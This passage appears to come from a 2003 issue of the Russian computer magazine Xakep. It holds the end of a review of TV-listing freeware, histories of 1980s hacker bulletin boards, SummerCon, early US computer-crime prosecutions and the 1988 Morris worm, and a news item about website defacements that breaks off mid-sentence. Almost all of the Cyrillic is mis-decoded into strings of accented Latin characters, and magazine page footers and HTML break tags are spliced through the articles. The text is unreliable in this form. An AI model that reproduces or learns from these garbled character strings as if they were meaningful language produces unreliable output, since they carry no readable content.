Ñïðàâåäëèâîñòè ðàäè îòìå÷ó, ÷òî âîçìîæíîñòü ïðîñìîòðà<br />
àíîíñîâ åñòü è â TVGuide. Áîëåå òîãî, â ýòîé<br />
ïðîãðàììå åñòü âîçìîæíîñòü íàñòðîéêè âèäà îòîáðàæåíèÿ<br />
ïðîãðàììû ñ àíîíñîì, íî ïî÷åìó-òî â òîé ÒÂ<br />
ïðîãðàììå, êîòîðóþ ÿ ñêà÷àë, íè îäíà èç ïåðåäà÷<br />
àíîíñà íå èìåëà.<br />
<br />
Ïîìèìî îñíîâíîé çàäà÷è - ðàáîòû ñ òåëåïðîãðàììîé,<br />
â ïðîãàõ èìåþòñÿ è íåêîòîðûå äîïîëíèòåëüíûå âîçìîæíîñòè.<br />
Áåçóñëîâíûé ëèäåð ýòîãî íàïðàâëåíèÿ –<br />
TVAgent, ïîçâîëÿþùèé óòÿãèâàòü èç Ñåòè åùå êó÷ó ðàçíîé<br />
èíôîðìàöèè: êóðñû âàëþò, ôèíàíñîâûå íîâîñòè,<br />
"Ò Àãåíò": ôåíå÷êè<br />
<br />
ïðîñòî íîâîñòè, ÅÆÅpravd'ó è ò.ä. Âäîáàâîê, â âåðõíåé<br />
÷àñòè ïðîãðàììû èìååòñÿ îêîøå÷êî, â êîòîðîå âûâîäÿòñÿ<br />
âñÿêèå êîììåíòàðèè íà çëîáó äíÿ. Òàêæå â ïóíêòàõ<br />
ìåíþ "Ïîëåçíûå ññûëêè" è "Èíòåðåñíûå ññûëêè"<br />
èìååòñÿ äîâîëüíî íåïëîõàÿ ïîäáîðêà URL'îâ.<br />
Âñå òðè ïðîãðàììû îáëàäàþò õîðîøèìè ñïîñîáíîñòÿìè<br />
ïî âûâîäó ïðîãðàììû òåëåïåðåäà÷ íà ïðèíòåð.<br />
Î÷åíü óäîáíî ýòîò ìåõàíèçì ðåàëèçîâàí â TVAgent'å è<br />
"ÒÂ Ïðîãðàììå", îíè ïîçâîëÿþò âåñüìà ãèáêî íàñòðàèâàòü<br />
âíåøíèé âèä ðàñïå÷àòêè, íî â ListTV ôóíêöèÿ ïå-<br />
÷àòè ïðîñòî âûøå âñÿêèõ ïîõâàë. Âèä ðàñïå÷àòêè ìîæíî<br />
íàñòðîèòü ïðàêòè÷åñêè êàê óãîäíî.<br />
ListTV: ïå÷àòàåì òåëåïðîãðàììó<br />
Çàòî TVGuide ïîääåðæèâàåò ïëàãèíû. ß, ê ïðèìåðó, òóò<br />
æå óñòàíîâèë ñåáå ïëàãèí "MakeHTML", ÷òî â ïåðåâîäå<br />
íà âåëèêèé è ìîãó÷èé îçíà÷àåò "Ñîçäàòü HTML ñòðàíèöó",<br />
è, êàê íè ñòðàííî, îáíàðóæèë, ÷òî îí äåéñòâèòåëüíî<br />
ñîçäàåò HTML ñòðàíèöó ñ òåêóùåé ïðîãðàììîé ïåðåäà÷.<br />
Âñå ïëàãèíû äîñòóïíû èç ïóíêòà "Äîïîëíåíèÿ".<br />
À âîò â "Ò Ïðîãðàììå" åñòü òî, ÷åãî ÿ â äðóãèõ ïðîãðàììàõ<br />
íå îáíàðóæèë. ß ãîâîðþ î ñêèíàõ, ñ ïîìîùüþ<br />
êîòîðûõ òû ìîæåøü ìåíÿòü îáëèê ïðîãè. Ìåëî÷ü, à<br />
ïðèÿòíî. Íåêîòîðîå êîëè÷åñòâî ïîñòàâëÿåòñÿ âìåñòå ñ<br />
äèñòðèáóòèâîì ïðîãðàììû, à åùå íåñêîëüêî øòóê æäóò<br />
òåáÿ ïî àäðåñó http://www.top-top.ru/tvprog/skin.<br />
Ãäå íàéòè îïèñàííûå ïðîãðàììû?<br />
ListTV (722Êá, freeware)<br />
http://www.citycat.ru/tv/ListTV<br />
TVAgent (579Êá, freeware)<br />
http://www.tv-agent.net<br />
TVGuide (1300Êá, freeware)<br />
http://longsoft.raid.ru/tvguide<br />
"ÒÂ ïðîãðàììà" (2191Êá, freeware)<br />
http://www.top-top.ru/products/soft/tvprog<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8 Þíèòû 9 Quit> 39
PC_Zone<br />
ÕÀÊÅÐÛ 80-Õ<br />
mindw0rk<br />
ÑÀÌ ÑÅÁÅ<br />
(mindw0rk@mail.ru)<br />
ÈÌÈÒÀÒÎÐ<br />
ÕÀÊÅÐÛ 80-Õ<br />
<br />
Õàêåðñêîå ñîîáùåñòâî âîñüìèäåñÿòûõ îòëè÷àëîñü âûñîêîé<br />
ñïëî÷åííîñòüþ. Íåñìîòðÿ íà îãðîìíîå êîëè÷åñòâî<br />
BBS ïî âñåìó ìèðó, â òîì ÷èñëå è ïèðàòñêèõ, ëèøü<br />
åäèíèöû ïîëüçîâàëèñü ïîïóëÿðíîñòüþ ó õàêåðîâ.<br />
PloverNet, Legion of Doom, Phoenix Project, Sherwood<br />
Forest (II/III), Osuny, Shadowland, Metal Shop, Farmers of<br />
Doom, Pirates Cove, RACS III - ëó÷øèõ ïðåäñòàâèòåëåé<br />
êîìïüþòåðíîãî àíäåãðàóíäà ñîáèðàëè èìåííî ýòè áîðäû,<br />
è îíè æå ÿâëÿëèñü â òî âðåìÿ îñíîâíûìè öåíòðàìè<br />
îáìåíà èíôîðìàöèåé. Âñå ýòè BBS’êè íàõîäèëèñü â<br />
ÑØÀ, íî èõ ïîñòîÿííî ïîñåùàëè õàêåðû íå òîëüêî èç<br />
Àìåðèêè, íî è èç Åâðîïû, è äàæå èç äàëåêîé Àâñòðàëèè.<br />
Ìíîãèå ëè÷íîñòè îáèòàëè ñðàçó íà íåñêîëüêèõ äîñêàõ (à<br />
íåêîòîðûå - è íà äåñÿòêàõ) – âåäü íà êàæäîé áîðäå áûëà<br />
ñâîÿ àòìîñôåðà, ñâîè òîïèêè. Äàæå íà ñàìîé ñåðüåçíîé<br />
BBS ïîìèìî òåõíè÷åñêèõ âîïðîñîâ îáñóæäàëèñü<br />
ñëóõè èç êîìïüþòåðíîãî ìèðà è ïðî÷èå æèçíåííûå òåìû.<br />
Óñïåâøèå ïîäðóæèòüñÿ ñâÿçûâàëèñü ïî òåëåôîíó è<br />
ïðèåçæàëè äðóã ê äðóãó â ãîñòè. Íî òàê êàê õàêåðû æèëè<br />
â ðàçíûõ ãîðîäàõ è øòàòàõ, ðèàëëàéôîâûå âñòðå÷è ïðîõîäèëè<br />
îò ñëó÷àÿ ê ñëó÷àþ. Õàêåðàì íå õâàòàëî ìåðîïðèÿòèÿ,<br />
êîòîðîå ñìîãëî áû ñîáðàòü âñåõ âìåñòå.<br />
 Ãåðìàíèè, ïðàâäà, ïðîâîäèëñÿ Chaos Communication<br />
Congress, íî îáñòàíîâêà òàì áûëà ñëèøêîì îôèöèàëüíîé.<br />
Òðåáîâàëàñü íåôîðìàëüíàÿ òóñîâêà, öåëüþ êîòîðîé<br />
áûëî áû îáùåíèå è âåñåëüå, à íå ñóõèå ëåêöèè.<br />
Ïîýòîìó, êîãäà â 1987 ãîäó â 12 íîìåðå æóðíàëà<br />
"Phrack" ïîÿâèëîñü îáúÿâëåíèå î ïåðâîé àìåðèêàíñêîé<br />
phreak/hack âñòðå÷å SummerCon, ïðèåõàòü íà íåå âûðàçèëè<br />
æåëàíèå ìíîãèå.<br />
Îðãàíèçàòîðàìè è ñïîíñîðàìè SummerCon'à âûñòóïèëè<br />
ðåäàêòîðû "Phrack" Taran King è Knight Lightning - îíè<br />
çàáðîíèðîâàëè äâà íîìåðà â îòåëå Sheraton Plaza (Ñýíò<br />
Ëüþèñ, Ìèññóðè), ïðèâåçëè íåñêîëüêî ÿùèêîâ ïèâà è<br />
ïîäãîòîâèëè êîå-êàêóþ àïïàðàòóðó. 19 èþíÿ, êîãäà âñå<br />
íà÷àëîñü, â áàíêåòíîì çàëå ñîáðàëîñü 20 èçâåñòíåé-<br />
øèõ àìåðèêàíñêèõ õàêåðîâ, â ÷èñëå êîòîðûõ áûëè: Tuc,<br />
Control C, The Leftist, Lex Luthor, Doom Prophet, Ninja<br />
NYC, Forest Ranger è äðóãèå. Íà ïðîòÿæåíèè äâóõ ñóòîê<br />
âåëèñü äåáàòû íà âñåâîçìîæíûå òåìû. Äíåì õàêåðû<br />
ïèëè ïèâî, åëè ïèööó è áåãàëè ïî âñåìó îòåëþ â ïîèñêàõ<br />
ïðèêëþ÷åíèé, íî÷üþ - âñå âìåñòå áëóæäàëè ïî ñåòè.<br />
SummerCon'87 ïðîøåë áåç íåïðèÿòíûõ ñþðïðèçîâ,<br />
àòìîñôåðà áûëà ðàññëàáëåííîé è äðóæåëþáíîé. Ïåðâûé<br />
â ñâîåì ðîäå, îí âäîõíîâèë ëþäåé íà ñîçäàíèå íîâûõ<br />
äðóæåñêèõ êîíôåðåíöèé, ÷èñëî êîòîðûõ â ìèðå<br />
ñòàëî áûñòðî ðàñòè.<br />
<br />
Captain Picard, TommydCat è Control C íà SumerCon 1993<br />
Ðîáåðò Ìîððèñ<br />
Çàêîíû Àìåðèêè äîëãîå âðåìÿ îáõîäèëè êîìïüþòåðíûå<br />
è òåëåôîííûå ïðåñòóïëåíèÿ ñòîðîíîé. Â 70-õ, â ýïîõó<br />
ïðîöâåòàíèÿ ôðèêèíãà, ïðè ëîâëå âëàäåëüöåâ áëóáîêñîâ<br />
ðóêîâîäñòâîâàëèñü ïóíêòîì î ìåëêîì ìîøåííè÷åñòâå.<br />
Ñ ïîÿâëåíèåì êîìïüþòåðîâ è<br />
ó÷àùåíèåì ñëó÷àåâ íåçàêîííîãî ïðîíèêíîâåíèÿ â ñèñòåìû,<br />
òîò æå ïóíêò, íî â áîëåå ñåðüåçíîé ôîðìå ñòàëè<br />
ïðèìåíÿòü è ê õàêåðàì. Ñóäüÿ ñàì ðåøàë, íàñêîëüêî<br />
îïàñíûì äëÿ îáùåñòâà ÿâëÿåòñÿ êîìïüþòåðíûé âçëîì<br />
è, ðóêîâîäñòâóÿñü ñâîèì ñîáñòâåííûì ìíåíèåì, âûíîñèë<br />
ïðèãîâîð. Ïîíÿòíîå äåëî, "èõ ÷åñòü" áûëè äàëåêè<br />
îò âñåõ ýòèõ òåõíè÷åñêèõ íþàíñîâ. È ýòî ÷àùå âñåãî èãðàëî<br />
íà ðóêó âçëîìùèêàì.<br />
2 îêòÿáðÿ 1986 ã. Ñåíàò ÑØÀ ïîäïèñàë íîâûé çàêîí<br />
"Computer Fraud and Abuse Act", â êîòîðîì ïîäðîáíî<br />
îáúÿñíÿëîñü, êàêèå êàðû æäóò õàêåðîâ çà ìàëåéøèé<br />
ïðîñòóïîê. Â çàâèñèìîñòè îò ñòåïåíè òÿæåñòè ïðåñòóïëåíèÿ<br />
ïðèãîâîð ìîã äîñòèãàòü $500000 øòðàôà è 20<br />
ëåò òþðåìíîãî çàêëþ÷åíèÿ. Îñîáî ñåðüåçíûìè ñ÷èòàëèñü<br />
ïðîíèêíîâåíèå è õèùåíèå, à òåì áîëåå - óíè÷òîæåíèå<br />
èíôîðìàöèè ñ ñåêðåòíûõ ïðàâèòåëüñòâåííûõ<br />
êîìïüþòåðîâ. Åñëè õàêåð ïî íåîñòîðîæíîñòè íàíîñèë<br />
êîìïàíèè óùåðá íà ñóììó, ïðåâûøàþùóþ òûñÿ÷ó äîëëàðîâ<br />
(óùåðá ïîäñ÷èòûâàëà êîìïàíèÿ), îí àâòîìàòè÷åñêè<br />
ïîïàäàë â êàòåãîðèþ "äî $250 òûñ. è 5 ëåò òþðü-<br />
ÕÀÊÅÐ\¹52\Àïðåëü\2003<br />
ÐÎÆÄÅÍÈÅ ×ÅÐÂß<br />
Crimson Death íà SummerCon 1992<br />
ìû". Äàæå åäèíè÷íîå ïðîíèêíîâåíèå â ÷óæîé êîìïüþòåð<br />
èëè èñïîëüçîâàíèå ÷óæèõ ïàðîëåé ñîãëàñíî ýòîìó<br />
çàêîíó äåëàëî ÷åëîâåêà ïðåñòóïíèêîì.<br />
Ïåðâûì õàêåðîì, êîòîðîãî îñóäèëè â ñîîòâåòñòâèè ñ<br />
íîâûì çàêîíîì, ñòàë Ãåðáåðò Çèí, èçâåñòíûé â ñåòè<br />
êàê Shadowhawk. Â 1986 ã. îí ïîëíîñòüþ çàáðîñèë<br />
øêîëó è îêóíóëñÿ â ñåòåâîé ìèð. Ñî ñâîåé äîìàøíåé<br />
ïåðñîíàëêè Çèí ìíîãî ðàç ïðîíèêàë íà êîìïüþòåðû<br />
ðàçíûõ ôèëèàëîâ êîðïîðàöèè AT&T è Ìèíèñòåðñòâà<br />
îáîðîíû ÑØÀ. Áîëåå äâóõ ëåò äåéñòâèÿ 16-ëåòíåãî<br />
âçëîìùèêà îñòàâàëèñü íåçàìå÷åííûìè. Ïîäâåë åãî<br />
äëèííûé ÿçûê. Ïîñëå ñâîèõ ïîõîæäåíèé Shadowhawk<br />
ëþáèë çàéòè íà îäíó èç àíäåãðàóíäîâûõ BBS ïîõâàñòàòüñÿ<br />
óñïåõîì ïåðåä êîëëåãàìè. Îäíàæäû îí îñòàâèë<br />
ñîîáùåíèå íà áîðäå, ãäå ïîñòîÿííûìè ÷èòàòåëÿìè ñëó-<br />
÷àéíî îêàçàëèñü ñîòðóäíèêè AT&T. Ãåðáåðò ñîîáùèë íà<br />
ôîðóìå, ÷òî îñòàâèë â êîìïüþòåðíîé ñèñòåìå êîðïîðàöèè<br />
ëîâóøêó, êîòîðàÿ ïîçâîëèò åìó óçíàòü ïàðîëè àäìèíèñòðàòîðîâ.<br />
Ïåðñîíàë ñðàáîòàë áûñòðî - äîæäàâøèñü,<br />
êîãäà õàêåð çàëîãèíèòñÿ, îíè çàñòàâèëè åãî êàê<br />
ìîæíî äîëüøå ïðîäåðæàòüñÿ íà ëèíèè, è ñ ïîìîùüþ<br />
ïîëèöèè ïðîñëåäèëè çâîíîê.<br />
Íà ñóäå Shadowhawk'ó ïðèïèñàëè óùåðá êîìïàíèè â<br />
ðàçìåðå $174 òûñ., íåëåãàëüíîå êîïèðîâàíèå ïðîãðàìì<br />
íà ñóììó áîëåå ìèëëèîíà äîëëàðîâ è ðàñïðîñòðàíåíèå<br />
â ïóáëè÷íûõ ìåñòàõ (BBS) êîíôèäåíöèàëüíîé èíôîðìàöèè<br />
(ïàðîëè, ðóêîâîäñòâà ïî âçëîìó ñèñòåìû). Ïîòðÿñåííûé<br />
öèôðàìè, hawk ñêàçàë: "ß íå ñîáèðàëñÿ ïðîäàâàòü<br />
ýòè ïðîãðàììû è íè÷åãî íå óäàëÿë. ß ïðîñòî õîòåë<br />
ïðèîáðåñòè íîâûå çíàíèÿ". Íî íîâûé çàêîí óæå âñòóïèë<br />
â ñèëó è ñèäåë áû õàêåð äî ñèõ ïîð, åñëè áû íå ñîãëàñèëñÿ<br />
ñîòðóäíè÷àòü ñ ïðàâèòåëüñòâîì. Îáåùàíèå ïîìîãàòü<br />
âëàñòÿì ñâîåé êîìïüþòåðíîé êâàëèôèêàöèåé ñìÿã-<br />
÷èëî ïðèãîâîð, íî ïàðíþ ïðèøëîñü-òàêè âûïëàòèòü AT&T<br />
10 òûñÿ÷ áàêñîâ è îòñèäåòü 9 ìåñÿöåâ. Shadowhawk ñòàë<br />
ïåðâûì, êòî îùóòèë íà ñåáå íîâóþ ïîïðàâêó â àìåðèêàíñêîì<br />
çàêîíîäàòåëüñòâå. Ïåðâûì, íî äàëåêî íå ïîñëåäíèì.<br />
Äî ãëîáàëüíîé îïåðàöèè ïî îòëîâó êîìïüþòåðíûõ<br />
âçëîìùèêîâ îñòàâàëîñü ñîâñåì íåäîëãî…<br />
40 Íüþñû 1 Ôåððóì 2 Inside 3 PC_Zone 4 Âçëîì
 íà÷àëå 80-õ â àìåðèêàíñêîì èññëåäîâàòåëüñêîì öåíòðå<br />
Xerox äâîå ó÷åíûõ - Èàí Õåï è Äæîíàòàí Øîê, íà÷àëè<br />
ýêñïåðèìåíòèðîâàòü ñ ïðîãðàììàìè, ñïîñîáíûìè<br />
àâòîíîìíî ðàñïðîñòðàíÿòüñÿ â ñåòè. Äî íèõ ýòèì íèêòî<br />
íå çàíèìàëñÿ, è àâòîðû, áóäó÷è ïèîíåðàìè, îêðåñòèëè<br />
ñâîèõ ïåðâûõ ïèòîìöåâ êîìïüþòåðíûìè ÷åðâÿìè (â<br />
÷åñòü ñîáûòèé èç êíèãè Äæîíà Áðàííåðà "Shockwave<br />
Rider").  ñêîðîì âðåìåíè ó÷åíûì ñòàëî ÿñíî, ÷òî ñàìîïðîèçâîëüíî<br />
ðàñïðîñòðàíÿþùèåñÿ ïðîãðàììû ìîãóò<br />
ïðåäñòàâëÿòü ñåðüåçíóþ îïàñíîñòü, îñîáåííî åñëè êðîìå<br />
«èíñòèíêòà ðàçìíîæåíèÿ» îíè áóäóò íàäåëåíû êàêèìè-ëèáî<br />
äåñòðóêòèâíûìè ôóíêöèÿìè. È ñ ðîñòîì<br />
ARPAnet è ïîäêëþ÷åíèåì ê íåé âñå áîëüøåãî êîëè÷åñòâà<br />
îðãàíèçàöèé ýòà îïàñíîñòü ëèøü âîçðàñòàåò! Õåï,<br />
Øîê è ìíîãèå äðóãèå êîìïüþòåðíûå ñïåöèàëèñòû,<br />
îáåñïîêîåííûå ýòîé ïðîáëåìîé, íà ôîðóìàõ Usenet'à<br />
ïîñòîÿííî îáñóæäàëè òåîðåòè÷åñêèå âîçìîæíîñòè ÷åðâåé<br />
è ñïîñîáû ïðåäîòâðàòèòü áåäó. Â ñðåäó 2 íîÿáðÿ<br />
1988 ãîäà âñå îíè ïîëó÷èëè âîçìîæíîñòü ïðîâåðèòü<br />
ïðàâèëüíîñòü ñâîèõ ðàññóæäåíèé íà ïðàêòèêå.<br />
 ýòîò äåíü êîìïüþòåðíàÿ ñåòü ARPAnet ïîäâåðãëàñü íåâèäàííîãî<br />
ðàçìàõà àòàêå.  òå÷åíèå âñåãî íåñêîëüêèõ ÷àñîâ<br />
íåèçâåñòíàÿ ïðîãðàììà ïàðàëèçîâàëà ðàáîòó áîëåå 6<br />
òûñÿ÷ êîìïüþòåðîâ. Ñðåäè æåðòâ îêàçàëèñü ïðàêòè÷åñêè<br />
âñå èññëåäîâàòåëüñêèå èíñòèòóòû, ìíîãèå âîåííûå è<br />
ïðàâèòåëüñòâåííûå îðãàíèçàöèè, íàó÷íûå ëàáîðàòîðèè è<br />
íåêîòîðûå êîììåð÷åñêèå êîìïàíèè. Ïðè÷èíîé ñòàë êîìïüþòåðíûé<br />
÷åðâü, ðàñïðîñòðàíÿþùèéñÿ ñ ìîëíèåíîñíîé<br />
ñêîðîñòüþ è ïåðåãðóæàþùèé ñâîèìè êîïèÿìè âñå êîìïüþòåðû,<br />
äî êîòîðûõ åìó óäàâàëîñü äîáðàòüñÿ. Äëÿ ïðîíèêíîâåíèÿ<br />
â íîâóþ ñèñòåìó ïðîãðàììà èñïîëüçîâàëà<br />
îøèáêè â òàêèõ ñëóæáàõ, êàê finger è sendmail.<br />
×åðâü ñòàðòîâàë èç Ëàáîðàòîðèè Èñêóññòâåííîãî Èíòåëëåêòà<br />
ÌÈÒ âå÷åðîì è ê óòðó óñïåë ðàçîéòèñü ïðàêòè÷åñêè<br />
ïî âñåì êëþ÷åâûì óçëàì ARPAnet. Áëàãîäàðÿ Êåéòó<br />
Áîñòèêó - ñïåöèàëèñòó ïî êîìïüþòåðíîé áåçîïàñíîñòè -<br />
óæå íà ñëåäóþùèé äåíü â ñåòè ïîÿâèëàñü çàïëàòêà äëÿ<br />
sendmail. Íî ÷òîáû ïîëíîñòüþ íåéòðàëèçîâàòü ÷åðâÿ è<br />
óçíàòü, ÷åãî îò íåãî ìîæíî îæèäàòü, íåîáõîäèìî áûëî<br />
äèçàññåìáëèðîâàòü åãî êîä. Äëÿ ýòîãî èç ðàçíûõ êîíöîâ<br />
ñòðàíû â èíñòèòóò Áåðêëè áûëè ïðèãëàøåíû ñàìûå ãåíèàëüíûå<br />
êîìïüþòåðíûå óìû Àìåðèêè. Ïàðàëëåëüíî ñ<br />
íèìè â äðóãèõ èíñòèòóòàõ íàä ýòîé çàäà÷åé ðàáîòàëè<br />
äðóãèå êîìàíäû. Ïîëó÷åííûé ÷åðåç íåêîòîðîå âðåìÿ<br />
èñõîäíèê ïîêàçàë, ÷òî ÷åðâü íå âêëþ÷àë âðåäîíîñíûõ<br />
ôóíêöèé. Îí íå ñòèðàë ôàéë, â íåì íå áûëî ëîãè÷åñêîé<br />
áîìáû, íî îí ïîñòîÿííî êîïèðîâàë ñàì ñåáÿ, ÷òî ïðèâîäèëî<br />
ê ïîëíîìó èñ÷åðïàíèþ ñèñòåìíûõ ðåñóðñîâ çàðàæåííîãî<br />
êîìïüþòåðà. Ïåðåçàãðóçêà íå ïîìîãàëà - ìàøèíà<br />
çàâèñàëà êàæäûå ïÿòü ìèíóò. Óæå êîãäà âûøëà<br />
âàêöèíà ïðîòèâ ýòîé çàðàçû, ìèð óçíàë èìÿ åå àâòîðà.<br />
Èì îêàçàëñÿ Ðîáåðò Òàïïàí Ìîððèñ - 24-ëåòíèé ñòóäåíò<br />
Êîðíåëüñêîãî Èíñòèòóòà, ñûí êîìïüþòåðíîãî ýêñïåðòà<br />
èç Àãåíòñòâà íàöèîíàëüíîé áåçîïàñíîñòè.<br />
<br />
Îò ïðèðîäû èíòåëëåêòóàëüíî îäàðåííûé Ðîáåðò ñ ðàííèõ<br />
ëåò óâëåêñÿ êîìïüþòåðàìè. Áëàãîäàðÿ äîëæíîñòè<br />
ñâîåãî îòöà îí èìåë äîñòóï ê ìîùíûì ìåéíôðåéìàì è<br />
Control C íà SummerCon 1993<br />
÷àñòåíüêî íàâåäûâàëñÿ ê Ìîððèñó-ñòàðøåìó íà ðàáîòó,<br />
÷òîáû ïîíàæèìàòü íà êíîïêè. Ðîáåðò íà ãîëîâó îïåðåæàë<br />
âñåõ ñâîèõ îäíîêëàññíèêîâ, ó÷åáà åìó êàçàëîñü<br />
ñêó÷íîé, ïîýòîìó ñâîáîäíîå âðåìÿ îí ëþáèë ïðîâîäèòü<br />
ó ýêðàíà ìîíèòîðà, çàíèìàÿñü ïðîãðàììèðîâàíèåì.<br />
Êîìïüþòåðû íà ðàáîòå îòöà áûëè ïîäêëþ÷åíû ê<br />
ARPAnet, áëàãîäàðÿ ýòîìó Ðîá ïåðåçíàêîìèëñÿ ñî âñåìè<br />
äåòüìè äðóãèõ ñîòðóäíèêîâ êîìïàíèè. Ìíîãèå èç<br />
íèõ òîæå óâëåêàëèñü ïðîãðàììèðîâàíèåì è ïèñàëè íåáîëüøèå<br />
èãðóøêè. Ìîððèñ áûñòðî ñòàë ñðåäè íèõ çâåçäîé.<br />
Åãî ïðîãðàììû âñåãäà îòëè÷àëèñü áëåñòÿùèì êîäîì<br />
è îðèãèíàëüíûìè èäåÿìè. Ñ âîçðàñòîì Ðîáåðòà<br />
âñå áîëüøå ñòàëà èíòåðåñîâàòü êîìïüþòåðíàÿ áåçîïàñíîñòü<br />
è îïåðàöèîííûå ñèñòåìû. Â 18 ëåò îí óæå äîñêîíàëüíî<br />
çíàë UNIX è ÷óòü ëè íå íàèçóñòü ïîìíèë 2000ñòðàíè÷íîå<br />
ðóêîâîäñòâî ê ýòîé ÎÑ. Ìíîãèå àäìèíèñòðàòîðû<br />
â Êîðíåëüñêîì óíèâåðñèòåòå, êóäà ïîñòóïèë ïàðåíåê,<br />
êîíñóëüòèðîâàëèñü ñ íèì ïî âñåì òåõíè÷åñêèì<br />
âîïðîñàì, â êîìïüþòåðíûõ êðóãàõ Ðîáåðò èìåë áåçîãîâîðî÷íûé<br />
àâòîðèòåò.<br />
Èäåÿ íàïèñàòü ÷åðâÿ ïðèøëà ìîëîäîìó ïðîãðàììèñòó<br />
âî âðåìÿ ÷òåíèÿ êîíôåðåíöèé Usenet, ãäå àäìèíèñòðàòîðû<br />
ñ ýíòóçèàçìîì îáñóæäàëè âîçìîæíîñòè è ïîñëåäñòâèÿ<br />
êîìïüþòåðíûõ âèðóñîâ. Òåìà Ðîáåðòó Ìîððèñó<br />
ïîêàçàëàñü èíòåðåñíîé. Íåçàäîëãî äî ýòîãî îí êàê ðàç<br />
íàøåë íîâûé áàã â ñèñòåìå Unix, èñïîëüçóÿ êîòîðûé<br />
åãî ÷åðâü ìîã áû ïðîáèðàòüñÿ íà ÷óæèå ìàøèíû. Ïðîåêò<br />
çàäóìûâàëñÿ â ýêñïåðèìåíòàëüíûõ öåëÿõ - Ðîáåðòó<br />
õîòåëîñü ïîñìîòðåòü, íàñêîëüêî æèâó÷èì îêàæåòñÿ åãî<br />
äåòèùå. Ïðîãðàììà, íàïèñàííàÿ âñåãî çà ìåñÿö, èñïîëüçîâàëà<br />
3 ðàçíûõ ñïîñîáà ïðîíèêíîâåíèÿ â ñèñòåìó<br />
è èìåëà îðèãèíàëüíûé àëãîðèòì ðàñïðîñòðàíåíèÿ -<br />
ïðîâåðÿëà óæå èìåþùóþñÿ íà êîìïüþòåðå ñâîþ êîïèþ<br />
è ñëó÷àéíûì îáðàçîì âûáèðàëà, îñòàâèòü åå èëè ïåðåçàïèñàòü<br />
(÷òîáû àäìèíèñòðàòîðû íå ìîãëè ëåãêî îñòàíîâèòü<br />
åå, âñòàâèâ ôåéêîâóþ êîïèþ ÷åðâÿ). Ñ îïðåäåëåííîé<br />
ïåðèîäè÷íîñòüþ ÷åðâü äîëæåí áûë â ëþáîì<br />
ñëó÷àå ïåðåçàïèñàòü êîïèþ. Îøèáî÷íî ìàëåíüêîå ÷èñëî,<br />
êîòîðîå ââåë Ðîáåðò, ÷òîáû îáîçíà÷èòü ýòó ïåðèîäè÷íîñòü,<br />
âî ìíîãîì ïîâëèÿëî íà âñþ åãî äàëüíåéøóþ<br />
æèçíü è çàñòàâèëî îáùåñòâåííîñòü âñåðüåç çàäóìàòüñÿ<br />
î ïðîáëåìå êîìïüþòåðíîé áåçîïàñíîñòè. Âìåñòî íåçàìåòíîãî<br />
áëóæäàíèÿ ïî ARPAnet, ÷åðâü óðàãàíîì ïðîíåññÿ<br />
ïî âñåì êîìïüþòåðàì è íà íåñêîëüêî ÷àñîâ âûðóáèë<br />
áîëüøóþ ÷àñòü ìàøèí â ñåòè.<br />
Ïîäñ÷èòàííûé âïîñëåäñòâèè óùåðá îò ÷åðâÿ Ìîððèñà<br />
îöåíèâàëñÿ â 100 ìèëëèîíîâ äîëëàðîâ. Ðîáåðò õîðîøî<br />
çàêîíñïèðèðîâàë ñâîþ ïðîãðàììó, è âðÿä ëè êòî-òî<br />
ñìîã áû äîêàçàòü åãî ïðè÷àñòíîñòü, åñëè áû íå îòåö,<br />
ïîñ÷èòàâøèé, ÷òî ñûíó ëó÷øå ñàìîìó ñîçíàòüñÿ â ñîäåÿííîì.<br />
Íà ñóäå, êîòîðûé ñîñòîÿëñÿ âñêîðå ïîñëå<br />
ýòîãî, Ðîáåðòó äî ïîñëåäíåé ìèíóòû ãðîçèëî ïÿòü ëåò<br />
òþðüìû è øòðàô ðàçìåðîì 250 òûñÿ÷ äîëëàðîâ. Íî<br />
ââèäó ñìÿã÷àþùèõ îáñòîÿòåëüñòâ, ñëó÷àéíîñòè ïðîèñøåäøåãî<br />
è ðåïóòàöèè áåçîáèäíîãî è ñêðîìíîãî ÷åëîâåêà,<br />
îí ïîëó÷èë òðè ãîäà óñëîâíî, 10 òûñÿ÷ äîëëàðîâ<br />
øòðàôà è 400 ÷àñîâ îáùåñòâåííûõ ðàáîò. À òàêæå ìèðîâóþ<br />
èçâåñòíîñòü, íå îñòàâëÿþùóþ åãî äî ñèõ ïîð.<br />
5 Þíèêñîèä 6 X-Ñòèëü 7 Êîäèíã 8
][ NEWS<br />
mindw0rk<br />
Âçëîì<br />
ÂÅËÈÊÎÃÎ ÃÓÐÓ ÕÝÊÊÈÍÃÀ ÏÎÄÑÒÀÂÈËÈ?<br />
Ïîïóëÿðíîñòü ïàòðèàðõà âñåðîññèéñêîãî õýêêåðñòâà Àðâè âçëåòåëà äî íåáåñ<br />
ïîñëå ñåðèè äåôåéñîâ ñàéòîâ: www.lamoz.biz, www.hackstaff.org,<br />
www.adminii.org, www.xakeps.org, www.ugin.ru è ìíîãîñòðàäàëüíîãî<br />
www.riaa.org. Ôðàçà "defaced by Arvi the Hacker" â âûëåòàþùåì îêîøêå ÿâíî<br />
óêàçûâàëà íà âñåì èçâåñòíîãî ãóðó. Â ñâÿçè ñ ýòèì â ôèäî è èíåòå äîëãî øëè<br />
äèñêóññèè: "Êàê, ìîë, òàê, êîäåêñ ÷åñòè è ðåëèãèÿ ïðåïîäîáíîãî íå ïîçâîëÿþò<br />
åìó çàíèìàòüñÿ ñòîëü ãíóñíûì äåëîì. À òóò âäðóã òàêîå". Ê òîìó æå íèêòî óæå<br />
è íå íàäåÿëñÿ, ÷òî Àðâè ñïîñîáåí íà ÷òî-òî áîëüøåå, ÷åì íàïèñàòü íà ïàñêàëå<br />
òðåòüåñîðòíûé òåòðèñ è ãëóáîêîìûñëåííî ðàññóæäàòü î õýêêåðñêîé ôèëîñîôèè.<br />
Äóìàëè, ãàäàëè, ïåðåìàëûâàëè êîñòî÷êè, à ïîòîì âäðóã êòî-òî ñîîáðàçèë:<br />
"Ïàðíè, äûê âåäü ýòà, íå èíà÷å êàê ïîäñòàâèëè åãî!". Äà, òî÷íî - ïîäõâàòèëî<br />
äâèæåíèå - íå îí, êóäà åìó. Ëèøü íåêîòîðîå âðåìÿ ñïóñòÿ â ýõîêîíôåðåíöèè<br />
Ru.Hacker.Dummy ïîÿâèëîñü ïèñüìî, àâòîð êîòîðîãî - Áîíàëüíûé Âåðòîëåò (â<br />
ïðîñòîíàðîäüå - buggzy) - øàðêàÿ íîæêîé, ñêðîìíî ïðèçíàëñÿ: "Äà ëàäíî, ìóæèêè,<br />
